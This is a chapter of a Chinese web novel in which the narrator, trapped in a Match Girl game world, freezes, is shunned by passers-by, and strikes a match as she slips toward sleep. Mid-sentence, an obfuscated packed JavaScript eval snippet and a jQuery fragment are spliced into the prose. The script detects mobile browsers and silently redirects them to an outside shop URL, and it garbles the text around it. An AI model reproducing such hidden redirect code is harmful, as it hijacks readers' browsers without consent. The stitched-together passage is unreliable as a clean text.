37. 谁要买火柴

作品:《在剧本杀中救赎全员

    冷。


    推开门后,世界就只剩下这个词。不是秋天那种痛痛快快的冷,是黏糊糊的、往骨头缝里钻的湿冷,像永远化不开的阴天。


    街道是灰的,石板路是灰的,行人的脸裹在厚厚的围巾和帽子里,也是灰的。


    我低头,看见自己身上是条半旧的、洗得发白的格子布裙,样式有点土,袖口磨得起了毛边。


    这料子……触感有点熟悉。风一吹,薄薄的布料紧贴在身上,带走所剩无几的体温。


    我手里攥着一把细细的火柴,梗子粗糙地硌着掌心。


    卖火柴的小女孩。


    哈。系统,你就这点创意吗?专挑人心里最疼的地方戳。


    我想骂,想用最大的声音把这片虚假的寒冷震碎。可嘴唇刚动,呵出的白气就立刻被风吹散。


    而且,手腕上空空荡荡。我的“惊弦”,那串系着铃铛的红绳,不见了。不是被拿走,是好像……它自己“觉得”不该在这里。


    一股冰凉的恐慌,比寒风更利地刺进来。没有“惊弦”,我连最后一点制造声音、保护自己的方式都没有。


    “火……火柴……谁要买火柴……”


    声音从我喉咙里挤出来,细得发颤,立刻被风吹散在充满煤烟味的空气里。不像我的声音。像个真正的、怯生生的小女孩。


    一个裹着厚重貂皮大衣的妇人快步走过,她的裙摆带起一阵风。她没看我,但裙摆扫起了地上混着冰碴的泥水,“啪”地溅在我小腿上。


    一阵刺痛的冰凉。


    “……对不起。”


    那细小的、带着哽咽的声音脱口而出。是这具“小女孩”身体的本能。


    没什么用。


    一个更冷、更硬的声音,像沉在心底的石头,撞了上来。


    很早以前,我就不说了。


    妇人早已走远。街道空空荡荡。小腿被溅到的地方,先是刺痛,然后慢慢只剩下麻木。我站着,没动。


    那句话带来的,不是委屈,而是一种更深的、近乎疲倦的习惯。


    习惯了道歉无用,习惯了被无视,习惯了寒冷和疼痛自己慢慢熬过去。


    又有人来了。一个夹着公文包、眉头紧锁的男人。我鼓起力气,把拿着火柴的手往前伸了伸,指尖冻得发红。


    “先生……买盒火柴吧……”


    他瞥了我一眼,那眼神像在评估一件碍事的杂物,脚步丝毫未停。


    “走开。”声音短促,不耐烦,随着他的身影一起消失在街角。


    手慢慢垂下来。火柴盒的边缘抵着掌心,有点疼。


    后来是一个结伴的小团体,衣着鲜亮,笑声清脆。她们看到我了,笑声停了停,接着是更快的脚步和压低的、叽叽喳喳的议论。


    我听不清,但那些快速掠过的眼神,像小刀子。我认得那种眼神。


    和教室里某些时候,一模一样。


    再后来,是个步履蹒跚的老妇人。她在我面前停了停,昏花的眼睛看了看我,又看了看我手里的火柴,叹口气,摇了摇头。


    她什么也没说,从怀里摸出一个小小的、用油纸包着的什么东西,塞到我另一只冰冷的手里,然后慢慢走了。


    是一小块硬邦邦的黑面包。我攥着它,那点微弱的、陌生的暖意从油纸上传来,却暖不了别处。


    天完全黑了。


    风更大,像钝刀子割着皮肤。


    我缩回最初那个背风的墙角,背靠着冰冷粗糙的砖石。


    面包很小,我小口小口地啃完了,连掉在裙摆上的碎屑都仔细拈起来。


    不能浪费,一点都不能。


    胃里有了点东西,但身体还是止不住地发抖,一阵一阵,从骨头深处透出来。


    寒冷让我想不了事。我抱着膝盖,试图想点别的。


    想起我进门前最后听到的、老爷子的话,想小秋他们脸上的表情……想“我们”。


    温暖的火炉,冒着热气的烤鹅,挂满礼物的圣诞树……故事里是这么写的吧?划亮火柴,就能看到。然后满足地、在美好的幻觉里冻死。


    多蠢。


    我才不要。


    不要?


    “再吵就不要你了!”一个遥远的、冰冷的呵斥声,突然在脑海里闪过。那不是系统的声音,是我的记忆。


    你们都不要我的火柴。


    不要我的声音。


    不要……我。


    算了,我,好像也不在乎了。我好累。


    不是跑了很多路的累,是那种从心里漫上来的、拖垮一切的疲惫。吵不动了,也走不动了。


    连“为什么是我”都懒得再问。问谁呢?


    不然就睡一觉吧,起码不会那么冷。


    这个念头带着诡异的诱惑力,悄悄蔓延。眼皮开始发沉。手里的火柴,一根,松了力道,轻轻掉在脚边的碎石地上。我没去捡。


    我看了手中的火柴。还剩五根。瘦瘦的,小小的,梗子脆弱得像一折就断。


    真安静啊。连风声好像都停了。


    不,不是风声停了。是我的……“声音”停了。


    我低头,看向自己的手腕。那圈红绳还在,“惊弦”的铃铛也在。


    但它静悄悄的,不是沉睡的静,是一种……柔软的、安慰般的寂静。


    我用冻得几乎没知觉的手指,轻轻地拨了一下那小小的铃铛。


    “叮……”


    没有以往那种清亮的、带着锋芒的颤音。出来的是一缕气音,绵长,飘忽,打着旋儿下沉,像一片羽毛缓缓落地,又像……


    像记忆里奶奶哼到快睡着时,最后那个模糊的尾音。


    催眠曲。


    我自己的铃铛,在我最冷、最累、最不想要任何声音的时候,对我自己,响起了催眠曲。


    它不再想帮我吵醒什么,战胜什么。它想哄我睡。


    这个发现,没让我愤怒,连难过都挤不出来。只觉得空。彻头彻尾的空。


    像被人从里面掏干净了最后一点可以用来生气、用来委屈的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984045|193594||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    力气。


    连你……也不要我了吗?


    连我自己的声音……都觉得我该睡了吗?


    也好。


    我慢慢蜷缩起来,下巴抵着膝盖。右手还捏着那五根火柴。左手,无意识地搭在右手腕的红绳上,指尖触着冰凉的铃铛。


    一下,一下,模仿着刚才那缕气音的频率,轻轻摸着。


    睡吧,玲儿。睡吧。


    这个念头不再是诱惑,成了唯一的、理所当然的归宿。


    可是……还是冷啊。骨头缝里咝咝地冒着寒气,胃里那点面包带来的虚假暖意早就没了。


    这种冷,好像光睡着不够,得有点什么……烧起来,才行。


    我的目光,落在右手那五根火柴上。


    燃烧……


    一个模糊的本能,从这片领域的规则深处,渗进我几乎停滞的思维。


    燃烧……就能看见……暖和的东西……


    是吗?


    我迟缓地、一根手指一根手指地,松开蜷缩的身体,坐直了一点。


    用左手,极其笨拙地从右手心里,抠出了其中一根火柴。


    动作僵硬,像在用别人的手。


    火柴梗粗糙的磷头,蹭在冰冷的手指上。


    要……划吗?


    划亮了,会看到什么呢?会……暖和一点吗?


    哪怕只是一下下?


    我知道这不对。我知道这可能是陷阱。


    老爷子的话,小秋的呼喊,心底那点微弱的“要回去”的念头,都在更深的、已经被冻住的地方微弱地闪着,提醒我。


    但冷,太冷了。累,太累了。


    而且,我的铃铛都在唱催眠曲了。


    我自己的“道理”,我自己的“声音”,都在让我睡。


    我还能信什么呢?


    信这火柴烧完后的,那一点点的、假的暖和吗?


    总比……没有强吧?


    我的手指,颤抖着,捏紧了那根小小的火柴。另一只手,摸索着,找到了粗糙的砖墙表面。


    那就……试一试。


    就一下。


    让我……暖和一下。


    一下就好。


    “哧——”


    第一根火柴擦亮了。


    火苗很小,橘红色,在无边的寒夜里瑟瑟发抖,却真实地散发着光和热。那光晕像一层薄薄的纱,拢住我的眼睛。


    墙不见了,街道不见了。


    我看见一个巨大的、黄铜雕花的火炉,里面的柴火烧得正旺,噼啪作响,跳跃的火舌是那么真实,几乎能感觉到那灼人的热气扑面而来。


    真暖和啊……


    我想伸出手去,但手臂沉得抬不起来。


    我只能看着,贪婪地看着,让那火光尽可能多地映进眼底。


    冻僵的血液好像开始流动了,指尖有了一丝微弱的刺麻感。


    这就是燃烧……魂火的感觉吗?好像……也没那么糟。


    火苗跳动了几下,熄灭了。